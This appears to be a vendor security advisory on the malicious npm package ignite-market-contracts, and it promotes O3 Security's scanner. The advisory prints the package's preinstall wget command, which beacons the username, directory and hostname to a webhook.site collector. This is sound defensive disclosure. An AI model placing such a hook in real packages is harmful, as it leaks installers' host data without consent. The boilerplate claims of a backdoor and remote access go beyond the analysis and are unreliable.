ignite-market-contractsnpm
Malicious code in ignite-market-contracts (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's preinstall lifecycle hook in package.json runs wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", which fires automatically on npm install and transmits the installer's username, current working directory, and hostname to a third-party anonymous webhook collector. This is a recon beacon characteristic of dependency-confusion attacks: the installer-identifying data is sent to an attacker-controlled endpoint without consent. The package additionally has placeholder metadata (author 'me', empty description), a name that resembles legitimate marketplace/seaport contract packages, and declares a non-canonical dependency seaport-core-16 — all consistent with a dependency-confusion PoC or active recon stage targeting internal package namespaces.

Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ignite-market-contracts (version 9.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ignite-market-contracts across your stack and pipelines.
If you installed it — respond
ignite-market-contracts establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If ignite-market-contracts was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ignite-market-contracts before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
